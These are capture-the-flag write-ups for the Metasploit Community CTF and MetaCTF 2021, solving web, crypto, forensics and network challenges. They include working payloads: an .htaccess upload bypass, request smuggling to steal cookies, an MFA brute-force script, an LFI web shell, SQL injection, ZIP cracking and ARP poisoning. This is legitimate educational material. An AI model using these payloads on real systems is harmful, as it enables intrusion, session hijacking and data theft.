    $blocked_ext = ["php", "php2", "php3", "php4", "php5", "php6", "php7", "php8", "phps", "pht", "phtm", "phar", "phtml", "pgif", "shtml", "html", "inc", "cgi", "asp", "aspx", "config", "pl", "py", "rs", "rb", "vbhtml", "vbtm", "vb", "phpt", "phtml"];
    echo($file_ext);
    if (in_array($file_ext, $blocked_ext, true) === true){
    echo("<html><h1>Blocked file extension detected! File upload blocked!</h1></html>");
    exit(1);
    }
    
    // Check file size
    if ($_FILES["fileName"]["size"] > 500000) {
    echo("<html><p>Sorry, your file is too large.</p></html>");
    exit(2);
    }
    
    // Move the uploaded file
    if (move_uploaded_file($_FILES["fileName"]["tmp_name"], $full_storage_path) === true){
    echo("<html><p>File has been uploaded successfully and is now available <a href='/$full_storage_path'>here</a>! But can you figure out how to execute it?</html>");
    }
    else{
    echo("<html><p>File was not successfully uploaded!</p></html>");
    }
?>
```

While most common PHP file extensions are blocked, `.htaccess` was not!

We could upload a `.htaccess` file to tell Apache to interpret some arbitrary file extension as a PHP file (e.g. `.php16`).

```http
Content-Disposition: form-data; name="fileName"; filename=".htaccess"
Content-Type: text/html

AddHandler application/x-httpd-php .php16      # Say all file with extension .php16 will execute php
```

Then, uploading any file with the `.php16` extension results in RCE, and we can download the flag..

```http
Content-Disposition: form-data; name="fileName"; filename="test.php16"
Content-Type: text/html

<?php
$file = '/flag.png';

if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}
?>
```

### Port 20123 \[Crypto]

This was an SSH port, which we could access with `root:root`. In the `/challenge` directory, there was an encrypted flag and the Python program used to encrypt it.

```python
import argparse
import random
import base64
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
DEBUG = False
UNKNOWN_ERROR = 1001


def get_salt(seed=1337):  # Need a seed so the salt stays the same
    try:
        generator = random.Random(seed)
        if DEBUG:
            print(generator.getstate())
        return generator.randbytes(32)
    except:
        return UNKNOWN_ERROR


def get_token():
    try:
        generator = random.SystemRandom()
        if DEBUG:
            print(generator.getstate())
        return generator.randbytes(32)
    except:
        return UNKNOWN_ERROR


def encrypt_flag(file):
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=get_salt(),
        iterations=100000,
    )
    key = base64.urlsafe_b64encode(kdf.derive(bytes(get_token())))
    # Fernet uses the time and an IV so it never produces the same output twice even with the same key and data
    fernet = Fernet(key)
    return fernet.encrypt(file)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Encrypt a file and save the output')
    parser.add_argument('input_file')
    parser.add_argument('output_file')

    parser.add_argument('--debug', action="store_true")
    args = parser.parse_args()
    if args.debug:
        DEBUG = True

    with open(args.input_file, "rb") as f:
        encrypted_file = encrypt_flag(f.read())

    with open(args.output_file, "wb") as f:
        f.write(encrypted_file)
```

In the history file, we could see the exact command that was used to encrypt it.

```
feef14e2d7f7:~/challenge# cat /root/.ash_history
python3 encrypt_flag.py 8_of_clubs.png encrypted_flag --debug
rm -rf 8_of_clubs.png
```

The vulnerability comes from the following part of the code:

```python
def get_token():
    try:
        generator = random.SystemRandom()
        if DEBUG:
            print(generator.getstate())
        return generator.randbytes(32)
    except:
        return UNKNOWN_ERROR
```

While `random.SystemRandom()` is cryptographically secure (it uses `os.urandom()`), the behaviour when the debug flag is passed is interesting.

Note that `getstate()` is called on the generator object, but the documentation clearly states that this will raise a `NotImplementedError`.

![](/files/ajt05g60L6VExOs90f1M)

This script was run with `--debug`, resulting in `getstate()` being called and `NotImplementedError` being raised - so `UNKNOWN_ERROR` = 1001 is the token.

We would therefore be able to reconstruct the key and obtain the flag.

```python
import argparse
import random
import base64
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
DEBUG = False
UNKNOWN_ERROR = 1001


def get_salt(seed=1337):  # Need a seed so the salt stays the same
    try:
        generator = random.Random(seed)
        if DEBUG:
            print(generator.getstate())
        return generator.randbytes(32)
    except:
        return UNKNOWN_ERROR


def get_token():
    return UNKNOWN_ERROR


def decrypt(flag):
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=get_salt(),
        iterations=100000,
    )
    print(get_token())
    key = base64.urlsafe_b64encode(kdf.derive(bytes(get_token())))
    # Fernet uses the time and an IV so it never produces the same output twice even with the same key and data
    fernet = Fernet(key)
    return fernet.decrypt(flag)


if __name__ == '__main__':
    out = decrypt(open('encrypted_flag', 'rb').read())
    with open('flag_out.png', 'wb') as f:
        f.write(out)
```

### Port 33337 \[Web]

In the `Server` response header, we could see that the Apache Traffic Server (ATS) 7.1.1 was used,

This is vulnerable to CVE-2018-8004, a request smuggling vulnerability, and I came across a nice writeup [here](https://medium.com/@knownsec404team/protocol-layer-attack-http-request-smuggling-cc654535b6f). The relevant patch we are looking at is [here](https://github.com/apache/trafficserver/pull/3231) - a lack of validation for `Content-Length` headers.

In the vulnerable version, even if the `Transfer-Encoding` header exists, the `Content-Length` header is used. This leads to a request smuggling vulnerability if the backend server processes the `Transfer-Encoding` header instead of the `Content-Length` header to decide where the request ends.

![](/files/qt3OdYd0wT2XvmS7mWPl)

It was observed that whenever a request is made to `/save.php`, an entry is appended to a "log file", which contains the cookies and the value of the `X-Access` header.

Assuming that an admin visits the site, we could use a CL-TE request smuggling attack to direct the admin to `/save.php`.

Consider the following payload:

```http
GET / HTTP/1.1
Host: threeofhearts.ctf.net
Content-Length: 30
Transfer-Encoding: chunked

0

GET /save.php HTTP/1.1
```

The ATS server processes the `Content-Length` header, and thus forwards the entire payload as a single request to the Nginx backend.

However, Nginx sees the `Transfer-Encoding` header and decides that the first request ends early. This is a full, complete request.

```http
GET / HTTP/1.1
Host: threeofhearts.ctf.net
Content-Length: 30
Transfer-Encoding: chunked
```

This is then followed by a second request, which is *not yet completed.*

```http
GET /save.php HTTP/1.1
```

When the admin visits the site (the third request), his request is appended to the above incomplete request - the second and third request thus are processed as one single request.

```http
GET /save.php HTTP/1.1

...

Cookie: <Admin Cookies>
X-Access: <Admin X-Access Header>
```

Crucially, this request contains the admin's `Cookie` and `X-Access` headers.

In the log file, we can view the cookie:

```
Params:
Headers:
	X-Access: private
	Cookie: PHPSESSID=8m9k6s84bmdf270tbi81bpacc7
```

Then, visit `private.php` to view the flag.

```http
GET /private.php HTTP/1.1
Host: threeofhearts.ctf.net
X-Access: private
Cookie: PHPSESSID=8m9k6s84bmdf270tbi81bpacc7
```

### Port 35000 \[Network Forensics]

We are provided with a PCAP file, containing some SMB traffic. There are some hints in the traffic:

`What does this protocol use to align fields?`

`A lot of things can happen when structures are not properly aligned`

`But wait... is the actual value matter?`

`Not too much to find here... just regular backups`

`The content is not that useful as it looks like.`

This prompted me to read up on the Microsoft [documentation](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/a66126d2-a1db-446b-8736-b9f5559c49bd) for SMB requests. One of the details was quite interesting, since the hint talked about alignment.

> Optional padding follows the SMB\_Data block of the SMB\_COM\_CLOSE. If present, the padding is used to align the SMB\_Data.Bytes.Data block to a 16- or 32-bit boundary.

The padding byte in the SMB request exists in order to align the data that follows. But as the documentation specifies, the actual value of the padding byte doesn't matter.

![](/files/yXRinIwklDsizjiShBBk)

Upon closer inspection, we will find that the padding in `WriteX` (1 byte padding) and `Trans2` (2 byte padding) requests contain the exfiltrated data.

The following script parses the PCAP and extracts the relevant data.

```python
from scapy.all import *

packets = rdpcap('capture.pcap')

padding_bytes = []

for packet in packets:
    packet[TCP].decode_payload_as(NBTSession)
    if 'SMBNegociate Protocol Request Header' in packet:
        
        smb_header = packet['SMBNegociate Protocol Request Header']
        if smb_header.Command == 0x2f and smb_header.Flags == 0x18:
            padding = bytes(smb_header)[59]
            padding_bytes.append(padding)

        elif smb_header.Command == 0x32 and smb_header.Flags == 0x18:
            padding = bytes(smb_header)[66:68]
            padding_bytes += list(padding)

print(bytes(padding_bytes))
```

The result is the flag URL!

`Here is the URL you are looking for: /U,rhbjaaCeDseVRQzEO.YsgXXtoGKpvUEkZXaoxurhdYnIlpJiGszZwUktVWTS,DabQAhvbEDQaNL_Dhsq.pposWkG-DtQdIVXNEWd.KbtYXvCek_gJuzIrDtMHfITFL/flag.png`


# MetaCTF CyberGames

MetaCTF's 7th annual virtual jeopardy-style CTF, held from 4 Dec to 6 Dec 2021

We placed 24th! It was a really great experience, and I truly enjoyed the challenges - no regrets doing this CTF in parallel with the [Metasploit Community CTF](/2021/metasploit-community-ctf).

| Challenge                                                                      | Category            | Points        |
| ------------------------------------------------------------------------------ | ------------------- | ------------- |
| [I Hate Python](/2021/metactf-cybergames/i-hate-python)                        | Reverse Engineering | 250           |
| [Ransomware Patch](/2021/metactf-cybergames/ransomware-patch)                  | Cryptography        | 250           |
| [Interception I, II and III](/2021/metactf-cybergames/interception)            | Other               | 100, 150, 275 |
| [Yummy Vegetables](/2021/metactf-cybergames/yummy-vegetables)                  | Web                 | 300           |
| [Custom Blog](/2021/metactf-cybergames/custom-blog)                            | Web                 | 350           |
| [Look, if you had one shot](/2021/metactf-cybergames/look-if-you-had-one-shot) | Web                 | 400           |


# Look, if you had one shot

## Description

> Or one opportunity. To guess one mfa code on the website. In one moment. Could you hack it? Or just let it slip?
>
> During a penetration test of Generally Quirky Labs' online websites, you stumbled across their company employee portal. After some recent brute force attacks, the security team got tired of watching hackers knock on the door all day long. So they implemented both MFA and Captcha codes, using some of the latest technologies. Unfortunately for them, they were not aware of one of the technologies' features...Note: DOSing the website by sending web requests is not the way.
>
> Username: `matthew@generallyql.com`
>
> Password: `yHfm34P9@v!Ge6`

## Solution

We are given the account credentials, but there is an MFA code that we need to submit. We are told that the code expires in 3 minutes, and there is a CAPTCHA code we need to submit, to prevent bruteforcing the MFA code.

![](/files/paNtOwC81rr1V8HXBdi2)

Looking under the hood, we see that there is a `login_session_token` that is sent to us.

![](/files/tEfNH6tM897wD2JJLyas)

In the GraphQL query sent to `mfa_service.php`, the token is used again. It appears that as long as we use this same login token, we can submit as many attempts as we want, provided we give the correct CAPTCHA code in the GET request parameter.

![](/files/GsyfdRgM8XsShvGN2y1s)

In GraphQL, we can use **batching** to send several queries at a time. If the server processes all these queries together using the same CAPTCHA code, this would defeat the purpose of the CAPTCHA.

For instance, we can submit two queries the same HTTP request:

```json
[
    {
        "query":"query submit_mfa_token($code: String!, $usertoken: String!, $username: String!) { submit_mfa_token(code: $code, usertoken: $usertoken, username: $username) }",
        "variables"{
            "code":"0000",
            "usertoken":"6a5836fa459785d8",
            "username":"matthew@generallyql.com"
        }
    },
    {
        "query":"query submit_mfa_token($code: String!, $usertoken: String!, $username: String!) { submit_mfa_token(code: $code, usertoken: $usertoken, username: $username) }",
        "variables":{
            "code":"0001",
            "usertoken":"6a5836fa459785d8",
            "username":"matthew@generallyql.com"
        }
    }
]
```

Indeed, both queries were processed! We managed to try two MFA tokens, with the same CAPTCHA code.

![](/files/uWCl1dNTSUV0l6lyL3pl)

Since the MFA token is only 4 digits, we could simply batch thousands of queries together, drastically reducing the number of CAPTCHAs required. Here I batched 3000 queries at a time due to the request length limits.

```python
import requests, json

lower_bound = 0

while lower_bound < 10000:
    payload = []
    print("Lower bound: " + str(lower_bound))
    for i in range(lower_bound, lower_bound + 3000):
        payload.append(
            {
                "query":"query submit_mfa_token($code: String!, $usertoken: String!, $username: String!) { submit_mfa_token(code: $code, usertoken: $usertoken, username: $username) }",
                "variables":{
                    "code":f"{i}",
                    "usertoken":"ef7ec81d3dfe867f",
                    "username":"matthew@generallyql.com"
                }
            }
        )

    # print(payload)

    captcha = input("Enter captcha: ")
    r = requests.post(
        f"https://metaproblems.com/1b7b23a1d213dc1c4d24d998f11b0b35/generallyquirkylabs/mfa_service.php?captchacode={captcha}", 
        json=payload,
        headers={
            "Cookie": "GENERALLYQUIRKYLABS=75767933c8676f1ef6633a81b6fb76fd"
        }
    )
    print(r.json())

    if 'code' in r.json() and r.json()['code'] == 4:
        continue

    for result in r.json():
        if json.loads(result['data']['submit_mfa_token'])['code'] != 3:
            print(result)

    lower_bound += 3000
```

Eventually, one of our attempts will be successful.

```json
{
    'data': {
        'submit_mfa_token': '{"code":1,"message":"Login successful!","redirect":".\\/dashboard.php"}'
    }
}
```

The flag is `MetaCTF{if_brute_force_doesnt_work_use_more_brute_forceeeeeeee}`


# Custom Blog

## Description

> This guy wrote his own blog in PHP instead of, I dunno, literally anything else. Can you teach him a lesson?

{% file src="/files/JuB9LZuZPCmlh7GhvR4A" %}

## Solution

The first thing to notice is that in `/post.php`, there is a local file inclusion (LFI) vulnerability.

```php
<?php
  session_start();

  if (isset($_GET['post']) && file_exists($post = 'posts/' . $_GET['post'])) {
    $ok = true;
  } else {
    $ok = false;
    http_response_code(404);
  }

  ...
  
  if ($ok) {
    echo '<h1>' . htmlentities($_GET['post']) . '</h1><hr><div class="post">';
    include $post;
    echo '</div>';
  } else {
    echo '<h1>post not found :(</h1><hr>';
  }
  ...
?>
```

The `post` GET query parameter is used as the filename in the `include $post` statement. For instance, we could request `/post.php?post=../../../../../../etc/passwd`.

![](/files/G46kCWrNTz2NCX4XhCsA)

But what we really want is remote code execution (RCE). How do we do that? We need to be able to write to a file stored on the server, then include that file through the above LFI vulnerability.

After doing some research, I found that PHP sessions are file-based by default, and the filenames are pretty predictable - each user's session file is stored at `/tmp/sess_<PHPSESSID>`.

If we look at `/set.php`, we can see that we are able to set the `theme` value in the session to any arbitrary string through the `theme` GET query parameter.

```php
<?php
  session_start();

  if (isset($_GET['theme'])) {
    $_SESSION['theme'] = $_GET['theme'];
  }

  header('Location: /');
  die();
?>
```

The session file can then be accessed through the LFI vulnerability, and our input is reflected into the included PHP code! For example, if we set our `theme` to `<?php phpinfo() ?>`, we get the following output when including our session file.

![](/files/Gm79iCv40PRhU4rHe7LR)

If we set the theme to the following PHP payload, we can get a web shell: `/set.php?theme=<?php system($_GET['c']) ?>`

![](/files/XQMxs21bTQn9s5LlTSW7)

Explore the filesystem for a bit and you'll find the flag: `MetaCTF{wh4t??lfi_1s_ev0lv1ng??}`


# Yummy Vegetables

## Description

> I love me my vegetables, but I can never remember what color they are! I know lots of people have this problem, so I made a site to help.

```javascript
const express = require('express');
const Ajv = require('ajv');
const sqlite = require('better-sqlite3');

const sleep = (ms) => new Promise((res) => { setTimeout(res, ms) })

// set up express
const app = express();
app.use(express.json());
app.use(express.static('public'));

// ajv request validator
const ajv = new Ajv();
const schema = {
  type: 'object',
  properties: {
    query: { type: 'string' },
  },
  required: ['query'],
  additionalProperties: false
};
const validate = ajv.compile(schema);

// database
const db = sqlite('db.sqlite3');

// search route
app.search('/search', async (req, res) => {
  if (!validate(req.body)) {
    return res.json({
      success: false,
      msg: 'Invalid search query',
      results: [],
    });
  }

  await sleep(5000); // the database is slow :p

  const query = `SELECT * FROM veggies WHERE name LIKE '%${req.body.query}%';`;
  let results;
  try {
    results = db.prepare(query).all();
  } catch {
    return res.json({
      success: false,
      msg: 'Something went wrong :(',
      results: [],
    })
  }

  return res.json({
    success: true,
    msg: `${results.length} result(s)`,
    results,
  });
});

// start server
app.listen(3000, () => {
  console.log('Server started');
});
```

## Solution

The vulnerable line in the code is the following:

```javascript
const query = `SELECT * FROM veggies WHERE name LIKE '%${req.body.query}%';`;
```

The application is passing unsanitized user input into the SQL query directly!

From the source code, we know we are dealing with an SQLite database. In order to retrieve the table names, we inject the following UNION query.

```json
{
    "query":"%' and 0 UNION SELECT name, null, null FROM  sqlite_master WHERE type ='table' AND name NOT LIKE 'sqlite_%';--"
}
```

This shows us an additional table that contains the flag!

```json
{
    "success":true,
    "msg":"2 result(s)",
    "results":
    [
        {
            "id":"the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5",
            "name":null,
            "color":null
        },
        {
            "id":"veggies",
            "name":null,
            "color":null
        }
    ]
}
```

From here, we can get the flag.

```json
{
    "query":"%' and 0 UNION SELECT flag, null, null FROM the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5;--"
}
```

The flag is `MetaCTF{sql1t3_m4st3r_0r_just_gu3ss_g0d??}`.


# Ransomware Patch

## Description

> You've captured a communication containing a patch for the source code of a well-known ransomware program. It contains an update for a library the program uses, as well as an interesting file named `key`. Can you crack [this ZIP](https://metaproblems.com/f807f1b6beeecc351ab76d1353e403e8/ransomware-final.zip) and figure out the contents of `key`?
>
> *\*made with 7ZIP deflate on "Normal" settings*

{% file src="/files/wVMQSaMqawb86dG0PAcd" %}

## Solution

We could use `7z l -slt ransomware-final.zip` to list detailed information about the ZIP file.

The first observation to be made is that we can find the files listed in the archive online.

```
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2021-11-30 06:40:19 D....            0            0  AES
2021-11-30 05:35:38 ....A        19017         5536  AES/aes.c
2021-11-30 05:35:38 ....A         2790          966  AES/aes.h
2021-11-30 05:35:38 ....A          184          136  AES/aes.hpp
2021-11-30 05:35:38 ....A          366          202  AES/CMakeLists.txt
2021-11-30 05:35:38 ....A         2050          774  AES/conanfile.py
2021-11-30 05:35:38 ....A          279          205  AES/library.json
2021-11-30 05:35:38 ....A          557          366  AES/library.properties
2021-12-04 01:29:36 ....A         1261          602  AES/Makefile
2021-11-30 05:35:38 ....A         4783         2064  AES/README.md
2021-11-30 05:35:38 ....A        15539         2702  AES/test.c
2021-11-30 05:35:38 ....A           37           49  AES/test.cpp
2021-11-30 05:43:46 D....            0            0  AES/test_package
2021-11-30 05:35:38 ....A          313          221  AES/test_package/CMakeLists.txt
2021-11-30 05:35:38 ....A          413          237  AES/test_package/conanfile.py
2021-11-30 05:35:38 ....A         1211          698  AES/unlicense.txt
2021-11-30 05:38:16 ....A           33           45  key
------------------- ----- ------------ ------------  ------------------------
2021-12-04 01:29:36              48833        14803  15 files, 2 folders
```

By Googling some of the file names, we find that the files under the `AES` directory are from this GitHub repository.

{% embed url="<https://github.com/kokke/tiny-AES-c>" %}

In the detailed information, we find that the file we want to decrypt, `key`, was encrypted using the `ZipCrypto Store` algorithm. This is a legacy method that is vulnerable to a [known plaintext attack](https://anter.dev/posts/plaintext-attack-zipcrypto/).

![](/files/IOE4KQope4BkZ7ZnA5PL)

This attack can be performed using the `bkcrack` tool below.

{% embed url="<https://github.com/kimci86/bkcrack>" %}

One complication, though, is that all of the other files in the archive are encrypted using `ZipCrypto Deflate`, which makes the cracking much harder - well, all but one! The `test.cpp` file was similarly encrypted using the vulnerable `ZipCrypto Store`.

![](/files/F0SwC7prjtWvmc83oJo6)

We could thus use the plaintext of this file, which we can find from the GitHub repository, to crack the keys: `./bkcrack -C ransomware-final.zip -c "AES/test.cpp" -p test.cpp`

This gives us the keys: `a71f05f4 18438c7b 1cf62c29`

Using these, we can crack the `key` file: `./bkcrack -C ransomware-final.zip -c key -k a71f05f4 18438c7b 1cf62c29 -d key.out`

The key is `MetaCTF{license_is_hard_to_spell}`.


# I Hate Python

## Description

> I hate Python, and now you will too. Find the password.

```python
import random

def do_thing(a, b):
    return ((a << 1) & b) ^ ((a << 1) | b)

x = input("What's the password? ")
if len(x) != 25:
    print("WRONG!!!!!")
else:
    random.seed(997)
    k = [random.randint(0, 256) for _ in range(len(x))]
    a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(x), k) }
    b = list(range(len(x)))
    random.shuffle(b)
    c = [a[i] for i in b[::-1]]
    print(k)
    print(c)
    kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127]
    valid = len(list(filter(lambda s: kn[s[0]] == s[1], enumerate(c))))
    if valid == len(x):
        print("Password is correct! Flag:", x)
    else:
        print("WRONG!!!!!!")
```

## Solution

Okay, let's work this backwards.

```python
kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127]
valid = len(list(filter(lambda s: kn[s[0]] == s[1], enumerate(c))))
if valid == len(x):
    print("Password is correct! Flag:", x)
else:
    print("WRONG!!!!!!")
```

We see that `c` is checked against `kn`, and they must be the same in order for our password to be correct.

```python
random.seed(997)
k = [random.randint(0, 256) for _ in range(len(x))]
a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(x), k) }
b = list(range(len(x)))
random.shuffle(b)
c = [a[i] for i in b[::-1]]
```

This part is a little confusing. The first thing to notice is that the RNG is seeded, so the values of `k` and `b` are always the same.

Since we know the value that `c` must be, and the value of `b` after `random.shuffle()` is known, we can recover `a`.

```python
c = kn
print("Need c =", c)
a = [None for _ in range(len(b[::-1]))]
for i in range(len(b[::-1])):
    a[b[::-1][i]] = c[i]
print("Need a =", a)
```

Now, we need to work out what the value of `x` must be. Notice that every character in `x` is passed through the `do_thing()` function, with the corresponding value in `k`.

```python
a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(x), k) }
```

What we need to do is to recover the value of each character in `x`, knowing the corresponding values in `k`. To do that, we need to understand the `do_thing()` function.

```python
def do_thing(a, b):
    return ((a << 1) & b) ^ ((a << 1) | b)
```

We can consider the two cases, where the bit $$b\_i$$ is either 0 or 1.

Notice that if $$b\_i=0$$, then this simplifies to `0 ^ (a << 1) = (a << 1)`, and if $$b\_i=1$$, then this simplifies to `1 ^ (a << 1) = !(a << 1)`.

So this operation flips every bit in `(a << 1)`, where the corresponding bit in `b` is 1. This is the same as `(a << 1) ^ b`.

Hence, to undo this operation and recover the flag, we simply perform the following:

```python
def undo_thing(a, b):
    return (a ^ b) >> 1
```

Here's the full solver script to obtain the password.

```python
def undo_thing(a, b):
    return (a ^ b) >> 1

x = 'a' * 25

random.seed(997)
k = [random.randint(0, 256) for _ in range(len(x))]
print("k =", k)
a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(x), k) }
b = list(range(len(x)))
random.shuffle(b)
c = [a[i] for i in b[::-1]]
kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127]
valid = len(list(filter(lambda s: kn[s[0]] == s[1], enumerate(c)))) # i.e. c = kn

print("---")

c = kn
print("Need c =", c)
a = [None for _ in range(len(b[::-1]))]
for i in range(len(b[::-1])):
    a[b[::-1][i]] = c[i]
print("Need a =", a)

undo_a = { b: chr(undo_thing(a[b], d)) for (b, c), d in zip(enumerate(x), k) }
print(''.join(undo_a[i] for i in range(25)))
```

The flag is `MetaCTF{yOu_w!N_th1$_0n3}`.


# Interception

This was a series of 3 challenges, revolving around Man-in-the-Middle (MITM) attacks.

## Interception I

> 192.168.0.1 is periodically (once every 4 seconds) sending the flag to 192.168.0.2 over UDP port 8000. Go get it.

This is a basic MITM scenario - we are in the same subnet as the victim, and we need to execute a Layer 2 attack to intercept the communication between 192.168.0.1 and 192.168.0.2.

![](/files/0PAnwFHjsQYOf3jVtU8e)

### ARP and ARP Cache Poisoning

When 192.168.0.1 sends a packet to 192.168.0.2, at the data link layer, the switch uses the MAC address to decide which device receives the packet - the IP address is invisible to the switch!

The sender must therefore specify a destination MAC address in the packet, but how does the sender know the MAC address of the receiver, given only the IP address?

The [Address Resolution Protocol (ARP)](https://en.wikipedia.org/wiki/Address_Resolution_Protocol) is used for this purpose - it essentially allows a computer to "ask" all devices in the subnet which MAC address an IP address belongs to. In order to reduce the amount of ARP requests, each computer also has an **ARP cache**, where recent IP-MAC address bindings are stored.

The issue comes when an attacker sends a malicious ARP response, resulting in the sender sending packets to the wrong MAC address - that of the attacker! This allows the attacker to receive traffic not intended for him.

In fact, we can send a "gratuitous" (or unsolicited) ARP, which is an ARP response that was not prompted by an ARP request, forcing the target computer to change the bindings in its ARP cache, thereby "poisoning" the ARP cache.

Man in the middle attacks using [ARP cache poisoning](https://en.wikipedia.org/wiki/ARP_spoofing) is much easier and common than you might expect! This is the reason why you should be careful when using public WiFi - someone might very well be assuming the identity of the network gateway.

### Solution

The tools on this machine are quite limited, so we will only be able to use `arping` to send our malicious ARP packets.

First, we need to configure a secondary IP address to the interface, so that we can use this IP in our ARP packets. This would be the IP address of the intended receiver.

`/ # /sbin/ifconfig eth0:10 192.168.0.2 up`

Next, we use `arping` to send a gratuitous ARP (gARP) to the sender (192.168.0.1), saying that our MAC address belongs to 192.168.0.2, the intended receiver.

`/ # arping -c 1 -U -s 192.168.0.2 192.168.0.1`

The flag would then be sent to our UDP port 8000.

```
/ # nc -ul 8000
MetaCTF{addr3s5_r3s0lut1on_pwn4g3}
```

## Interception II

> Someone on this network is periodically sending the flag to ... someone else on this network, over TCP port 8000. Go get it.

This is a slightly more complex scenario - we don't know the IP addresses of the targets!

![](/files/EXzaa8rQdxVPYyDMYvlI)

### Method 1: Watch the World Burn

This was honestly what came to my mind first, and for the purpose of this CTF it works.

After scanning the network and finding that there were only 90 hosts, ranging from 192.168.0.1 to 192.168.0.90, I wrote a quick shell script to send a gARP for every possible receiving IP address.

This is sent to the broadcast address (192.168.0.255), so all devices on the network will receive this gARP. Whoever the sender is, its the receiver's IP address binding in the ARP cache would definitely have been poisoned by the end of the script.

```shell
i=1
echo $i
while [ $i -le 90 ]
do
    /sbin/ifconfig eth0:$i 192.168.0.$i up
    arping -c 1 -U -s 192.168.0.$i 192.168.0.255
    i=$(( $i+1 ))
done
```

In the `tcpdump` output, we can then see that the sender is 192.168.0.54 and the receiver is 192.168.0.78.

```
/ # tcpdump
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10:10:58.645094 IP ip-192-168-0-54.ec2.internal.48746 > ip-192-168-0-78.ec2.internal.8000: Flags [S], seq 3814507201, win 64240, options [mss 1460,sackOK,TS val 1280486540 ecr 0,nop,wscale 7], length 0

...
```

In the real world, however, this would definitely be much noisier and less reliable.

### Method 2: Finding the Open TCP Port

Alternatively, we could simply search for an open TCP port. Since the flag is sent via TCP instead of UDP, we can check that the receiver has the TCP port 8000 open (otherwise, there's no way for it to receive the flag).

`nmap -p 8000 192.168.0.0/24`

We would find that 192.168.0.78 has port 8000 open.

```
Nmap scan report for ip-192-168-0-78.ec2.internal (192.168.0.78)
Host is up (0.000019s latency).

PORT     STATE SERVICE
8000/tcp open  http-alt
MAC Address: 02:42:0A:01:E5:C3 (Unknown)
```

This tells us that the target is 192.168.0.78, and we can send a single gARP broadcast for ths address.

`arping -c 1 -U -s 192.168.0.78 192.168.0.255`

Listening on port 8000 gives us the flag. `MetaCTF{s0_m4ny_1ps_but_wh1ch_t0_ch00s3}`

## Interception III <a href="#interception-iii-solved" id="interception-iii-solved"></a>

> 192.168.55.3 is periodically sending the flag to 172.16.0.2 over UDP port 8000. Go get it. By the way, I've been told the admins at this organization use really shoddy passwords.

Woah... this is significantly more complicated. So far, we have been doing Layer 2 attacks, and these won't work since the flag is being sent across different subnets. We need to execute an attack from Layer 3, the network layer.

![](/files/e2qMTblv96t6hKEaPfLM)

Perhaps we can gain access to the routers somehow? Indeed, we find the Telnet port open on one of the routers.

```
/ # nmap 192.168.0.1
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-05 15:45 UTC
Nmap scan report for ip-192-168-0-1.ec2.internal (192.168.0.1)
Host is up (0.000016s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
23/tcp open  telnet
MAC Address: 02:42:0A:00:3F:C2 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds
/ # 
```

The challenge said the admins used "shoddy passwords" - this was true because the Telnet credentials were `root:admin`!

Now that we have access to the router, we need to somehow route the traffic through our attacker-controlled router so that we can sniff it.

From our home directory, we can learn that the router uses BIRD, a routing daemon for Unix operating systems. The BIRD configuration file at `/usr/local/etc/bird.conf` contains some important information.

```
root@router-sales:~# cat /usr/local/etc/bird.conf
# COMPANY BIRD CONFIGURATION

...

protocol ospf {
        ipv4 {
              import filter {
                      if net.len > 24 then reject; else accept; # overly specific routes are sus!
              };
              export filter {
                      ospf_metric1 = 1000;
                      if source = RTS_STATIC then accept; else reject;
              };
        };

        area 0 {
              interface "enp1s0" { # sales - executive dept link
                      type ptp;
                      cost 7;
                      hello 5;
              };
              interface "enp2s0" { # sales - it dept link
                      type ptp;
                      cost 7;
                      hello 5;
              };
              interface "enp3s0" { # it dept - executive link
                      type ptp;
                      cost 8;
                      hello 5;
              };
              interface "enp0s0" {
                      stub;
              };
        };
}
```

Importantly, the [Open Shortest Path First (OSPF)](https://en.wikipedia.org/wiki/Open_Shortest_Path_First) routing protocol is used. Fundamentally, OSPF routers use Link State Advertisements (LSAs) to advertise routes to their neighbours, thus allowing each router to maintain the updated topology at any point in time.

To determine the shortest path (which is the one taken by the packet), each link is associated with a "cost" - this can be calculated through a variety of metrics, such as bandwidth. The path that adds up to the lowest cost is considered the shortest path. We can find the paths configured in the BIRD configuration:

```
interface "enp1s0" { # sales - executive dept link
      type ptp;
      cost 7;
      hello 5;
};
interface "enp2s0" { # sales - it dept link
      type ptp;
      cost 7;
      hello 5;
};
interface "enp3s0" { # it dept - executive link
      type ptp;
      cost 8;
      hello 5;
};
```

In order to sniff the packets, we must make them take the red path below. However, the cost would add up to 14, which is higher than 8 for the shortest path (the blue path)

![](/files/z2jX4b2PkOjeVTMpaETp)

We would have to edit the configuration file, and lower the costs of the red links.

```
interface "enp1s0" { # sales - executive dept link
      type ptp;
      cost 1;
      hello 5;
};
interface "enp2s0" { # sales - it dept link
      type ptp;
